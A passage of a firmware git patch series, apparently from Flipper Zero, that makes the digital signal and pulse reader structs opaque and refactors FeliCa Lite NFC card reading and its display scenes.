defined(DIGITAL_SIGNAL_PORTABLE_CODE) + +static void digital_signal_update_dma(DigitalSignal* signal) { + LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_1, (uint32_t)signal->internals->gpio_buff); + LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_2, (uint32_t)signal->reload_reg_buff); + LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_1, 2); + LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_2, signal->internals->reload_reg_entries); + + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); +} + +#else + +static void digital_signal_update_dma(DigitalSignal* signal) { volatile uint32_t dma1_data[] = { /* R6 */ (uint32_t) & (DMA1_Channel1->CCR), /* R7 */ DMA1_Channel1->CCR & ~DMA_CCR_EN, /* R8 */ 2, - /* R9 */ (uint32_t) & (signal->gpio->port->BSRR), - /* R10 */ (uint32_t)signal->gpio_buff, + /* R9 */ (uint32_t) & (signal->internals->gpio->port->BSRR), + /* R10 */ (uint32_t)signal->internals->gpio_buff, /* R11 */ DMA1_Channel1->CCR | DMA_CCR_EN}; volatile uint32_t dma2_data[] = { /* R0 */ (uint32_t) & (DMA1_Channel2->CCR), /* R1 */ DMA1_Channel2->CCR & ~DMA_CCR_EN, - /* R2 */ (uint32_t)signal->reload_reg_entries, + /* R2 */ (uint32_t)signal->internals->reload_reg_entries, /* R3 */ (uint32_t) & (TIM2->ARR), /* R4 */ (uint32_t)signal->reload_reg_buff, /* R5 */ DMA1_Channel2->CCR | DMA_CCR_EN}; /* hurry when setting up next transfer */ - asm volatile("\t" - "MOV r6, %[data1]\n\t" - "MOV r7, %[data2]\n\t" + asm volatile( + "\t" + "MOV r6, %[data1]\n\t" + "MOV r7, %[data2]\n\t" - "PUSH {r0-r12}\n\t" + "PUSH {r0-r12}\n\t" - "LDM r7, {r0-r5}\n\t" - "LDM r6, {r6-r11}\n\t" + "LDM r7, {r0-r5}\n\t" /* prepare registers with values to write into DMA config */ + "LDM r6, {r6-r11}\n\t" - "loop:\n\t" - "LDR r12, [r0, #4]\n\t" - "CMP r12, #0\n\t" - "BNE loop\n\t" + "loop:\n\t" + "LDR r12, [r0, #4]\n\t" /* read DMA_CNDTRx to get remaining transfers */ + "CMP r12, #0\n\t" + "BNE loop\n\t" - "STM r6, {r7-r10}\n\t" /* disable channel and set up new parameters */ - "STR r11, [r6, #0]\n\t" /* enable channel again */ - "STM r0, {r1-r4}\n\t" /* disable channel and set up new parameters */ - "STR r5, [r0, #0]\n\t" /* enable channel again */ + "STM r6, {r7-r10}\n\t" /* disable channel and set up new parameters */ + "STR r11, [r6, #0]\n\t" /* enable channel again */ + "STM r0, {r1-r4}\n\t" /* disable channel and set up new parameters */ + "STR r5, [r0, #0]\n\t" /* enable channel again */ - "POP {r0-r12}\n\t" + "POP {r0-r12}\n\t" - : /* no outputs*/ - : /* inputs */ - [data1] "r"(dma1_data), [data2] "r"(dma2_data) - : "r6", "r7"); + : /* no outputs*/ + : /* inputs */ + [data1] "r"(dma1_data), [data2] "r"(dma2_data) + : "r6", "r7"); LL_DMA_ClearFlag_TC1(DMA1); LL_DMA_ClearFlag_TC2(DMA1); } +#endif + static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSignal* signal) { furi_assert(sequence); furi_assert(signal); @@ -443,7 +490,7 @@ bool digital_sequence_send(DigitalSequence* sequence) { } /* update the total remainder */ - remainder += sig->reload_reg_remainder; + remainder += sig->internals->reload_reg_remainder; /* do we need to update the prolongation? */ if(needs_prolongation != sequence->signals_prolonged[signal_index]) { diff --git a/lib/digital_signal/digital_signal.h b/lib/digital_signal/digital_signal.h index 9a91c8b45..2cb107486 100644 --- a/lib/digital_signal/digital_signal.h +++ b/lib/digital_signal/digital_signal.h @@ -5,8 +5,6 @@ #include #include -#include -#include #ifdef __cplusplus extern "C" { @@ -18,31 +16,20 @@ extern "C" { #define DIGITAL_SIGNAL_NS(x) (x * 100UL) #define DIGITAL_SIGNAL_PS(x) (x / 10UL) -typedef struct { +/* using an anonymous type for the internals */ +typedef struct DigitalSignalInternals DigitalSignalInternals; + +/* and a public one for accessing user-side fields */ +typedef struct DigitalSignal { bool start_level; uint32_t edge_cnt; uint32_t edges_max_cnt; uint32_t* edge_timings; - uint32_t* reload_reg_buff; - uint32_t reload_reg_entries; - uint32_t reload_reg_remainder; - uint32_t gpio_buff[2]; - const GpioPin* gpio; - LL_DMA_InitTypeDef dma_config_gpio; - LL_DMA_InitTypeDef dma_config_timer; + uint32_t* reload_reg_buff; /* internal, but used by unit tests */ + DigitalSignalInternals* internals; } DigitalSignal; -typedef struct { - uint8_t signals_size; - bool bake; - uint32_t sequence_used; - uint32_t sequence_size; - DigitalSignal** signals; - bool* signals_prolonged; - uint8_t* sequence; - const GpioPin* gpio; - uint32_t send_time; -} DigitalSequence; +typedef struct DigitalSequence DigitalSequence; DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt); diff --git a/lib/pulse_reader/pulse_reader.c b/lib/pulse_reader/pulse_reader.c index 3d9508f9a..84ce2ff23 100644 --- a/lib/pulse_reader/pulse_reader.c +++ b/lib/pulse_reader/pulse_reader.c @@ -1,9 +1,32 @@ +#include "pulse_reader.h" + #include #include #include #include -#include "pulse_reader.h" +#include +#include +#include +#include + +struct PulseReader { + uint32_t* timer_buffer; + uint32_t* gpio_buffer; + uint32_t size; + uint32_t pos; + uint32_t timer_value; + uint32_t gpio_value; + uint32_t gpio_mask; + uint32_t unit_multiplier; + uint32_t unit_divider; + uint32_t bit_time; + uint32_t dma_channel; + const GpioPin* gpio; + GpioPull pull; + LL_DMA_InitTypeDef dma_config_timer; + LL_DMA_InitTypeDef dma_config_gpio; +}; #define GPIO_PIN_MAP(pin, prefix) \ (((pin) == (LL_GPIO_PIN_0)) ? prefix##0 : \ diff --git a/lib/pulse_reader/pulse_reader.h b/lib/pulse_reader/pulse_reader.h index be0ad7012..08056a0ac 100644 --- a/lib/pulse_reader/pulse_reader.h +++ b/lib/pulse_reader/pulse_reader.h @@ -3,10 +3,6 @@ #include #include #include -#include -#include -#include -#include #include @@ -28,23 +24,8 @@ typedef enum { PulseReaderUnitMicrosecond, } PulseReaderUnit; -typedef struct { - uint32_t* timer_buffer; - uint32_t* gpio_buffer; - uint32_t size; - uint32_t pos; - uint32_t timer_value; - uint32_t gpio_value; - uint32_t gpio_mask; - uint32_t unit_multiplier; - uint32_t unit_divider; - uint32_t bit_time; - uint32_t dma_channel; - const GpioPin* gpio; - GpioPull pull; - LL_DMA_InitTypeDef dma_config_timer; - LL_DMA_InitTypeDef dma_config_gpio; -} PulseReader; +/* using an anonymous type */ +typedef struct PulseReader PulseReader; /** Allocate a PulseReader object * From 653d0d7704beebe577df7e3c2483db52858805d2 Mon Sep 17 00:00:00 2001 From: nullableVoidPtr <30564701+nullableVoidPtr@users.noreply.github.com> Date: Wed, 28 Dec 2022 21:32:25 +0800 Subject: [PATCH 029/329] NFC: slight FeliCa refactor --- applications/main/nfc/nfc_i.h | 7 +- .../nfc/scenes/nfc_scene_felica_info_select.c | 25 ++- .../scenes/nfc_scene_felica_service_data.c | 102 +++-------- lib/nfc/protocols/felica.c | 167 ++++++++++++------ lib/nfc/protocols/felica.h | 121 ++++++++----- 5 files changed, 223 insertions(+), 199 deletions(-) diff --git a/applications/main/nfc/nfc_i.h b/applications/main/nfc/nfc_i.h index 21a3d4333..a5a389737 100644 --- a/applications/main/nfc/nfc_i.h +++ b/applications/main/nfc/nfc_i.h @@ -39,11 +39,12 @@ #include "rpc/rpc_app.h" +#include #include -ARRAY_DEF(FelicaAreaPath, FelicaArea*, M_PTR_OPLIST); -ARRAY_DEF(FuriStringStack, FuriString*, M_PTR_OPLIST); -ARRAY_DEF(MfClassicUserKeys, char*, M_PTR_OPLIST); +ARRAY_DEF(FelicaAreaPath, FelicaArea*, M_PTR_OPLIST) +LIST_DEF(FuriStringStack, FuriString*, FURI_STRING_OPLIST) +ARRAY_DEF(MfClassicUserKeys, char*, M_PTR_OPLIST) #define NFC_TEXT_STORE_SIZE 128 #define NFC_APP_FOLDER ANY_PATH("nfc") diff --git a/applications/main/nfc/scenes/nfc_scene_felica_info_select.c b/applications/main/nfc/scenes/nfc_scene_felica_info_select.c index 30fbf71b2..6ed7b61a4 100644 --- a/applications/main/nfc/scenes/nfc_scene_felica_info_select.c +++ b/applications/main/nfc/scenes/nfc_scene_felica_info_select.c @@ -1,8 +1,6 @@ #include "../nfc_i.h" #include -#define SYSTEM_EVENT - void nfc_scene_felica_info_select_submenu_callback(void* context, uint32_t index) { Nfc* nfc = context; @@ -20,7 +18,7 @@ void nfc_scene_felica_info_select_on_enter(void* context) { submenu_add_item(submenu, "[Actions]", 0, nfc_scene_felica_info_select_submenu_callback, nfc); uint8_t i = 1; - if(state->selected_system == NULL) { + if(state->selected_system == NULL || state->selected_system->code == LITE_SYSTEM_CODE) { submenu_set_header(submenu, "Systems"); FelicaSystemList_it_t it; for(FelicaSystemList_it(it, data->systems); !FelicaSystemList_end_p(it); @@ -59,8 +57,7 @@ void nfc_scene_felica_info_select_on_enter(void* context) { FelicaNodeList_next(it)) { FelicaNode* node = *FelicaNodeList_ref(it); if(node->type == FelicaNodeTypeArea) { - FuriString* area_name = - furi_string_alloc_printf("Area %d", node->ptr.area->number); + FuriString* area_name = furi_string_alloc_printf("Area %d", node->area->number); submenu_add_item( submenu, furi_string_get_cstr(area_name), @@ -69,7 +66,7 @@ void nfc_scene_felica_info_select_on_enter(void* context) { nfc); FuriStringStack_push_back(state->strings, area_name); } else { - uint16_t service_code = node->ptr.service->number << 6; + uint16_t service_code = node->service->number << 6; FuriString* service_name = furi_string_alloc_printf("Service %04X", service_code); submenu_add_item( submenu, @@ -106,7 +103,11 @@ bool nfc_scene_felica_info_select_on_event(void* context, SceneManagerEvent even index -= 1; if(state->selected_system == NULL) { state->selected_system = *FelicaSystemList_get(data->systems, index); - scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaInfoSelect); + if(state->selected_system->code == LITE_SYSTEM_CODE) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaServiceData); + } else { + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaInfoSelect); + } consumed = true; } else { FelicaNode* selected_node = NULL; @@ -119,11 +120,11 @@ bool nfc_scene_felica_info_select_on_event(void* context, SceneManagerEvent even } if(selected_node->type == FelicaNodeTypeArea) { - FelicaAreaPath_push_back(state->selected_areas, selected_node->ptr.area); + FelicaAreaPath_push_back(state->selected_areas, selected_node->area); scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaInfoSelect); consumed = true; } else if(selected_node->type == FelicaNodeTypeService) { - state->selected_service = selected_node->ptr.service; + state->selected_service = selected_node->service; scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaServiceData); consumed = true; } @@ -146,10 +147,6 @@ void nfc_scene_felica_info_select_on_exit(void* context) { // Clear view FelicaAreaPath_clear(nfc->felica_select.selected_areas); - FuriStringStack_it_t it; - for(FuriStringStack_it(it, nfc->felica_select.strings); !FuriStringStack_end_p(it); - FuriStringStack_next(it)) { - furi_string_free(*FuriStringStack_ref(it)); - } + FuriStringStack_clear(nfc->felica_select.strings); submenu_reset(nfc->submenu); } diff --git a/applications/main/nfc/scenes/nfc_scene_felica_service_data.c b/applications/main/nfc/scenes/nfc_scene_felica_service_data.c index 68cd71a4f..5153d7d37 100644 --- a/applications/main/nfc/scenes/nfc_scene_felica_service_data.c +++ b/applications/main/nfc/scenes/nfc_scene_felica_service_data.c @@ -4,21 +4,22 @@ void nfc_scene_felica_service_data_on_enter(void* context) { Nfc* nfc = context; FelicaSelectState* select_state = &nfc->felica_select; FelicaSystem* system = select_state->selected_system; - FelicaService* service = select_state->selected_service; + //FelicaService* service = select_state->selected_service; TextBox* text_box = nfc->text_box; - if(system->code == LITE_SYSTEM_CODE && service->number == 0) { + if(system->code == LITE_SYSTEM_CODE) { + FelicaLiteInfo* lite_info = &system->lite_info; + uint8_t* data; text_box_set_font(text_box, TextBoxFontHex); furi_string_cat_str(nfc->text_box_store, "S_PAD:\n"); for(int i = 0; i < REG_LITE_BLOCK; i++) { - FelicaBlock* block = *FelicaBlockList_cget(service->blocks, i); + data = lite_info->S_PAD[i]; for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - if(block != NULL) { - furi_string_cat_printf( - nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + if(data != NULL) { + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); } else { furi_string_cat_printf(nfc->text_box_store, "???? "); } @@ -26,107 +27,56 @@ void nfc_scene_felica_service_data_on_enter(void* context) { } furi_string_cat_str(nfc->text_box_store, "REG:\n"); - FelicaBlock* block = *FelicaBlockList_cget(service->blocks, REG_LITE_BLOCK); + data = lite_info->REG; for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - if(block != NULL) { - furi_string_cat_printf( - nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + if(data != NULL) { + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); } else { furi_string_cat_printf(nfc->text_box_store, "???? "); } } - furi_string_cat_str(nfc->text_box_store, "RC:\n"); - block = *FelicaBlockList_cget(service->blocks, RC_LITE_BLOCK); - for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { - if(!(i % 8) && i) { - furi_string_push_back(nfc->text_box_store, '\n'); - } - furi_string_cat_printf( - nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); - } - furi_string_cat_str(nfc->text_box_store, "MAC:\n"); - block = *FelicaBlockList_cget(service->blocks, MAC_LITE_BLOCK); - for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + data = lite_info->MAC; + for(uint16_t i = 0; i < 8; i += 2) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf( - nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); } - furi_string_cat_str(nfc->text_box_store, "ID:\n"); - block = *FelicaBlockList_cget(service->blocks, ID_LITE_BLOCK); - for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { - if(!(i % 8) && i) { - furi_string_push_back(nfc->text_box_store, '\n'); - } - furi_string_cat_printf( - nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); - } + furi_string_cat_printf(nfc->text_box_store, "DFC: %04X\n", lite_info->data_format_code); - furi_string_cat_str(nfc->text_box_store, "D_ID:\n"); - block = *FelicaBlockList_cget(service->blocks, DEVICE_ID_LITE_BLOCK); - for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { - if(!(i % 8) && i) { - furi_string_push_back(nfc->text_box_store, '\n'); - } - furi_string_cat_printf( - nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_str(nfc->text_box_store, "ID data:\n"); + data = lite_info->ID_value; + for(uint16_t i = 0; i < 6; i += 2) { + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); } + furi_string_cat_str(nfc->text_box_store, "\n"); - furi_string_cat_str(nfc->text_box_store, "CKV:\n"); - block = *FelicaBlockList_cget(service->blocks, CARD_KEY_VER_LITE_BLOCK); - for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { - if(!(i % 8) && i) { - furi_string_push_back(nfc->text_box_store, '\n'); - } - furi_string_cat_printf( - nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); - } + furi_string_cat_printf(nfc->text_box_store, "CKV: %04X\n", lite_info->card_key_version); furi_string_cat_str(nfc->text_box_store, "MC:\n"); - block = *FelicaBlockList_cget(service->blocks, MEM_CONFIG_LITE_BLOCK); + data = lite_info->memory_config; for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf( - nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); } - furi_string_cat_str(nfc->text_box_store, "WCNT:\n"); - block = *FelicaBlockList_cget(service->blocks, WRITE_COUNT_LITE_BLOCK); - for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { - if(!(i % 8) && i) { - furi_string_push_back(nfc->text_box_store, '\n'); - } - furi_string_cat_printf( - nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); - } + furi_string_cat_printf(nfc->text_box_store, "WCNT: %06lX\n", lite_info->write_count); furi_string_cat_str(nfc->text_box_store, "MAC_A:\n"); - block = *FelicaBlockList_cget(service->blocks, MAC_A_LITE_BLOCK); - for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { + data = lite_info->MAC_A; + for(uint16_t i = 0; i < 8; i += 2) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf( - nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); - } - - furi_string_cat_str(nfc->text_box_store, "CRC_CHECK:\n"); - block = *FelicaBlockList_cget(service->blocks, CRC_CHECK_LITE_BLOCK); - for(uint16_t i = 0; i < FELICA_BLOCK_SIZE; i += 2) { - if(!(i % 8) && i) { - furi_string_push_back(nfc->text_box_store, '\n'); - } - furi_string_cat_printf( - nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", data[i], data[i + 1]); } } text_box_set_text(text_box, furi_string_get_cstr(nfc->text_box_store)); diff --git a/lib/nfc/protocols/felica.c b/lib/nfc/protocols/felica.c index e6f585437..d9489cb50 100644 --- a/lib/nfc/protocols/felica.c +++ b/lib/nfc/protocols/felica.c @@ -189,8 +189,8 @@ uint8_t felica_lite_prepare_unencrypted_read( dest[9] = 1; uint8_t msg_len = 10; uint8_t service_code = - RANDOM_TYPE_SERVICE_ATTRIBUTE | - ((is_read_only) ? UNAUTH_RO_SERVICE_ATTRIBUTE : UNAUTH_RW_SERVICE_ATTRIBUTE); + FelicaServiceTypeRandom | + ((is_read_only) ? FelicaServiceAttributeUnauthRO : FelicaServiceAttributeUnauthRO); dest[msg_len++] = service_code & 0xFF; dest[msg_len++] = service_code >> 8; @@ -240,7 +240,7 @@ uint16_t felica_parse_unencrypted_read( if(len < 1) { return 0; } - uint16_t data_length = *buf * 16; + uint16_t data_length = *buf * FELICA_BLOCK_SIZE; len--; buf++; @@ -296,7 +296,7 @@ uint8_t felica_lite_prepare_unencrypted_write( dest[9] = 1; uint8_t msg_len = 10; - uint8_t service_code = RANDOM_TYPE_SERVICE_ATTRIBUTE | UNAUTH_RW_SERVICE_ATTRIBUTE; + uint8_t service_code = FelicaServiceTypeRandom | FelicaServiceAttributeUnauthRW; dest[msg_len++] = service_code & 0xFF; dest[msg_len++] = service_code >> 8; @@ -367,7 +367,6 @@ bool felica_lite_can_read_without_mac(uint8_t* mc_r_restr, uint8_t block_number) void felica_define_normal_block(FelicaService* service, uint16_t number, uint8_t* data) { FelicaBlock* block = malloc(sizeof(FelicaBlock)); - block->type = FelicaBlockTypeNormal; memcpy(block->data, data, FELICA_BLOCK_SIZE); FelicaBlockList_set_at(service->blocks, number, block); } @@ -377,12 +376,13 @@ bool felica_read_lite_system( FelicaReader* reader, FelicaData* data, FelicaSystem* system) { - const uint8_t fixed_services[] = { + const uint8_t fixed_blocks[] = { SYS_CODE_LITE_BLOCK, - RC_LITE_BLOCK, - ID_LITE_BLOCK, - MAC_LITE_BLOCK, DEVICE_ID_LITE_BLOCK, + ID_LITE_BLOCK, + RC_LITE_BLOCK, + CARD_KEY_LITE_BLOCK, + MAC_LITE_BLOCK, CARD_KEY_VER_LITE_BLOCK, MEM_CONFIG_LITE_BLOCK, }; @@ -390,7 +390,7 @@ bool felica_read_lite_system( uint8_t block_data[FELICA_BLOCK_SIZE * 4]; tx_rx->tx_bits = - 8 * felica_lite_prepare_unencrypted_read(tx_rx->tx_data, reader, true, fixed_services, 1); + 8 * felica_lite_prepare_unencrypted_read(tx_rx->tx_data, reader, true, fixed_blocks, 1); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { FURI_LOG_W(TAG, "Bad exchange verifying Lite system code"); return false; @@ -401,33 +401,56 @@ bool felica_read_lite_system( FURI_LOG_W(TAG, "Bad response to Read without Encryption (SYS_C)"); return false; } - if(block_data[0] != (LITE_SYSTEM_CODE >> 8) && block_data[1] != (LITE_SYSTEM_CODE & 0xFF)) { + if(nfc_util_bytes2num(block_data, 2) != LITE_SYSTEM_CODE) { FURI_LOG_W(TAG, "Unexpected SYS_C value"); return false; } - system->code = LITE_SYSTEM_CODE; - FelicaArea* area = &system->root_area; - FelicaService* service = malloc(sizeof(FelicaService)); - FelicaBlockList_init(service->blocks); - for(int i = 0; i < CRC_CHECK_LITE_BLOCK; i++) { - FelicaBlockList_push_back(service->blocks, NULL); + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, reader, true, &fixed_blocks[1], 1); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading D_ID"); + return false; + } + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (D_ID)"); + return false; + } + if(memcmp(system->idm, block_data, 8) != 0 || memcmp(system->pmm, block_data + 8, 8) != 0) { + FURI_LOG_W(TAG, "Mismatching values for D_ID"); + return false; } - area->number = 0; - area->end_service_code = 0x000f; - FelicaNodeList_init(area->nodes); - FelicaNode* node = malloc(sizeof(node)); - node->type = FelicaNodeTypeService, node->ptr.service = service; - FelicaNodeList_push_back(area->nodes, node); + system->code = LITE_SYSTEM_CODE; - service->number = 0; + FelicaLiteInfo* lite_info = &system->lite_info; + lite_info->card_key_1 = NULL; + lite_info->card_key_2 = NULL; - felica_define_normal_block(service, SYS_CODE_LITE_BLOCK, block_data); + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, reader, true, &fixed_blocks[2], 1); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading ID"); + return false; + } + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (ID)"); + return false; + } + lite_info->data_format_code = nfc_util_bytes2num(block_data + 8, 2); + memcpy(lite_info->ID_value, block_data + 10, 6); + FURI_LOG_I(TAG, "ID:"); + for(int i = 0; i < FELICA_BLOCK_SIZE; i++) { + FURI_LOG_I(TAG, "%02X", block_data[i]); + } memset(block_data, 0, FELICA_BLOCK_SIZE); tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_write( - tx_rx->tx_data, reader, &fixed_services[1], 1, block_data); + tx_rx->tx_data, reader, &fixed_blocks[3], 1, block_data); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { FURI_LOG_W(TAG, "Bad exchange writing random challenge"); return false; @@ -436,51 +459,49 @@ bool felica_read_lite_system( FURI_LOG_W(TAG, "Bad response to Write without Encryption (RC)"); return false; } - felica_define_normal_block(service, RC_LITE_BLOCK, block_data); tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( - tx_rx->tx_data, reader, true, &fixed_services[2], 2); + tx_rx->tx_data, reader, true, &fixed_blocks[4], 2); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { - FURI_LOG_W(TAG, "Bad exchange reading ID with MAC"); + FURI_LOG_W(TAG, "Bad exchange reading CK and MAC"); return false; } if(felica_parse_unencrypted_read( tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE * 2) { - FURI_LOG_W(TAG, "Bad response to Read without Encryption (ID, MAC)"); + FURI_LOG_W(TAG, "Bad response to Read without Encryption (CK, MAC)"); return false; } - felica_define_normal_block(service, ID_LITE_BLOCK, block_data); - felica_define_normal_block(service, MAC_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE); - FURI_LOG_I(TAG, "ID:"); - for(int i = 0; i < 16; i++) { - FURI_LOG_I(TAG, "%02X", block_data[i]); - } + memcpy(lite_info->MAC, block_data + FELICA_BLOCK_SIZE, 8); FURI_LOG_I(TAG, "MAC:"); - for(int i = 0; i < 16; i++) { + for(int i = 0; i < FELICA_BLOCK_SIZE; i++) { FURI_LOG_I(TAG, "%02X", block_data[i + FELICA_BLOCK_SIZE]); } tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( - tx_rx->tx_data, reader, true, &fixed_services[4], 3); + tx_rx->tx_data, reader, true, &fixed_blocks[6], 2); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { - FURI_LOG_W(TAG, "Bad exchange reading blocks"); + FURI_LOG_W(TAG, "Bad exchange reading CKV and MC"); return false; } if(felica_parse_unencrypted_read( tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != - FELICA_BLOCK_SIZE * 3) { - FURI_LOG_W(TAG, "Bad response to Read without Encryption (D_ID, CKV, MC)"); + FELICA_BLOCK_SIZE * 2) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (CKV, MC)"); return false; } - felica_define_normal_block(service, DEVICE_ID_LITE_BLOCK, block_data); - felica_define_normal_block(service, CARD_KEY_VER_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE); - felica_define_normal_block(service, MEM_CONFIG_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE * 2); + lite_info->card_key_version = nfc_util_bytes2num(block_data, 2); + memcpy(lite_info->memory_config, block_data + FELICA_BLOCK_SIZE, FELICA_BLOCK_SIZE); // Read SPAD and REG accordingly to MC - uint8_t* mc_data = block_data + (FELICA_BLOCK_SIZE * 2); + uint8_t* mc_data = lite_info->memory_config; for(uint8_t block_number = 0; block_number <= REG_LITE_BLOCK; block_number++) { if(!felica_lite_can_read_without_mac(mc_data + 6, block_number)) { + if(block_number < REG_LITE_BLOCK) { + lite_info->S_PAD[block_number] = NULL; + } else { + lite_info->REG = NULL; + } continue; } @@ -496,18 +517,24 @@ bool felica_read_lite_system( FURI_LOG_W(TAG, "Bad response to Read without Encryption (block %d)", block_number); return false; } - felica_define_normal_block(service, block_number, block_data); + uint8_t* block = malloc(FELICA_BLOCK_SIZE); + memcpy(block, block_data, FELICA_BLOCK_SIZE); + if(block_number < REG_LITE_BLOCK) { + lite_info->S_PAD[block_number] = block; + } else { + lite_info->REG = block; + } } if(data->type == FelicaICTypeLiteS) { - const uint8_t fixed_s_services[] = { - ID_LITE_BLOCK, + const uint8_t fixed_s_blocks[] = { + CARD_KEY_LITE_BLOCK, MAC_A_LITE_BLOCK, WRITE_COUNT_LITE_BLOCK, CRC_CHECK_LITE_BLOCK, }; tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( - tx_rx->tx_data, reader, true, fixed_s_services, 2); + tx_rx->tx_data, reader, true, fixed_s_blocks, 2); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { FURI_LOG_W(TAG, "Bad exchange reading ID with MAC_A"); return false; @@ -515,14 +542,13 @@ bool felica_read_lite_system( if(felica_parse_unencrypted_read( tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE * 2) { - FURI_LOG_W(TAG, "Bad response to Read without Encryption (ID, MAC_A)"); + FURI_LOG_W(TAG, "Bad response to Read without Encryption (CK, MAC_A)"); return false; } - felica_define_normal_block(service, ID_LITE_BLOCK, block_data); - felica_define_normal_block(service, MAC_A_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE); + memcpy(lite_info->MAC_A, block_data + FELICA_BLOCK_SIZE, FELICA_BLOCK_SIZE); tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( - tx_rx->tx_data, reader, true, &fixed_s_services[2], 2); + tx_rx->tx_data, reader, true, &fixed_s_blocks[2], 2); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { FURI_LOG_W(TAG, "Bad exchange reading ID with MAC_A"); return false; @@ -533,8 +559,8 @@ bool felica_read_lite_system( FURI_LOG_W(TAG, "Bad response to Read without Encryption (WC, CRC_CHECK)"); return false; } - felica_define_normal_block(service, WRITE_COUNT_LITE_BLOCK, block_data); - felica_define_normal_block(service, CRC_CHECK_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE); + lite_info->write_count = nfc_util_bytes2num(block_data, 3); + lite_info->crc_valid = block_data[FELICA_BLOCK_SIZE] == 0x00; } return true; @@ -582,14 +608,34 @@ void felica_service_clear(FelicaService* service) { FelicaBlockList_clear(service->blocks); } +void felica_lite_clear(FelicaLiteInfo* lite_info) { + for(int i = 0; i < REG_LITE_BLOCK; i++) { + uint8_t* block = lite_info->S_PAD[i]; + if(block != NULL) { + free(block); + } + } + + if(lite_info->REG != NULL) { + free(lite_info->REG); + } + + if(lite_info->card_key_1 != NULL) { + free(lite_info->card_key_1); + } + if(lite_info->card_key_2 != NULL) { + free(lite_info->card_key_2); + } +} + void felica_area_clear(FelicaArea* area) { 